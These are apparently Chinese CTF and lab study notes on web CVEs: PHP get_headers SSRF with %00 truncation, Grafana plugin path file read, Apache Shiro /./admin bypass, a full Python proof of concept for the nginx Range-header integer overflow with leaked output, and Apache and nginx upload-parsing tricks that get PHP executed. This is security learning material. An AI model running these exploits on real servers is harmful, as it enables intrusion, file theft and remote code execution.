cve-2020-7006
- PHP 7.2.x 早于 7.2.29
- PHP 7.3.x 早于 7.3.16
- PHP 7.4.x 早于 7.4.4
若使用上述任一受影响版本,并调用get_headers()处理不受信任输入,即存在被远程利用的风险。

打开源代码指了一个标签,里面有?url=的字样可以确定是SSRF伪造服务器请求,可以伪造为本地服务器

应该在最后有一个识别payload结尾的东西,用%00截断

Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Fri, 04 Jul 2025 08:25:08 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => Tips: Host must be end with '123'
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)
最后要以123结尾说是

Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Fri, 04 Jul 2025 08:26:50 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => FLAG: NSSCTF{3b491f42-1945-44fb-bae5-832cd018fd5f}
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)
CVE-2021-43798
基于Grafana的一次渗透

查一下这个CVE是Grafana平台插件目录下面有一个任意文件读取的漏洞,随便找到其中一个插件就可以进行任意文件读取

http://node5.anna.nssctf.cn:22959/plugins/alertlist
选择这个叫alertlist的插件

在Burpsuite中把抓到的包一改,flag在根目录下

同样linux文件也可以读取
CVE-2010-3863
比较老的CVE了
Apache Shiro 认证绕过漏洞(CVE-2010-3863)Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
在Apache Shiro 1.1.0以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造/、//、/./、/../ 等绕过权限验证
/./admin直接进入


CVE-2017-7529

- nginx整数溢出漏洞是由于nginx在处理特定的数据包或请求时,没有正确地检查数据大小,导致整数类型的变量在累加时发生了溢出。整数溢出会使得变量的值超出其类型能表示的最大范围,从而可能导致错误的计算结果或者程序崩溃。例如,当对一个32位整数进行加法运算时,如果累加的结果超出了32位的表示范围,就会发生溢出。特别是,nginx在某些版本的HTTP请求处理或者流缓存管理中,如果没有正确处理包长度、流缓存的大小或重试次数等参数,这些参数很可能会在一个累加或循环计算过程中发生整数溢出。攻击者可以利用这一点,通过构造特定的输入数据包,触发整数溢出,进而可能导致拒绝服务攻击(DoS)或远程代码执行(RCE)等安全问题。
POC
import requests
import time
import urllib3
def cve20177529():
try:
# 构造请求头
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
}
url = input('请输入目标URL:')
# 获取正常响应的返回长度
#verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False)
url_len = len(r1.content)
# 将数据长度加长,大于返回的正常长度
addnum = 200
final_len = url_len + addnum
# 构造Range请求头,并加进headers中
# headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
}
# 用构造的新的headers发送请求包,并输出结果
r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
text = r2.text
code = r2.status_code
if ('ETag') in text and code == 206:
print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt')
# 将结果输出到文本上
with open('cve20177529_log.txt','a',encoding="utf-8") as f:
f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
f.close
else:
print('未检测到漏洞')
# 将结果输出到文本上
with open('cve20177529_log.txt','a',encoding="utf-8") as f:
f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
f.close
except Exception as result:
print(result)
if __name__ == "__main__":
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
cve20177529()
此时输出的结果,不光包含界面,还同时输出了响应包主体,会存在一定的敏感信息泄漏
输出文件:
存在Nginx整数溢出漏洞(CVE-2017-7529)-------------2025-07-05 15:09:53-------------
--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -200-611/612
, 05 Jul 2025 07:09:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
Connection: close
ETag: "59526062-264"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854774384-611/612
文件上传CVE漏洞
CVE-2017-15715
图片来自vulhub.org
Apache HTTPD 换行符解析漏洞
Apache HTTPD 是一个广泛使用的 HTTP 服务器,可以通过 mod_php 模块来运行 PHP 网页。在其 2.4.0 到 2.4.29 版本中存在一个解析漏洞,当文件名以 1.php\x0A 结尾时,该文件会被按照 PHP 文件进行解析,这使得攻击者可以绕过服务器的一些安全策略。
首先上传一个1.php文件,但大多会被拦截


对重命名后的文件进行更改,将16进制中的70后改为0a


访问php就可以执行RCE
该漏洞只针对对上传的文件进行重命名的情况,应用不广
CVE-2013-4547
Nginx 文件名逻辑漏洞
Nginx 是一款Web服务器,可以作为反向代理、负载均衡、邮件代理、HTTP缓存等。Nginx 0.8.41 到 1.4.3 和 1.5.x 之前的版本存在一个文件名解析漏洞,允许远程攻击者绕过一些特定的限制,执行原本不允许执行的文件。
这个漏洞的原理是,Nginx错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行等连带影响
如果上传的文件设置了黑名单,就上传一个gif,jppg,jpeg等

跟上一个一样将文件格式后的两个16进制码改为20 00并加上.php
访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php,即可发现PHP已被解析:

[0x20]是空格,[0x00]是\0






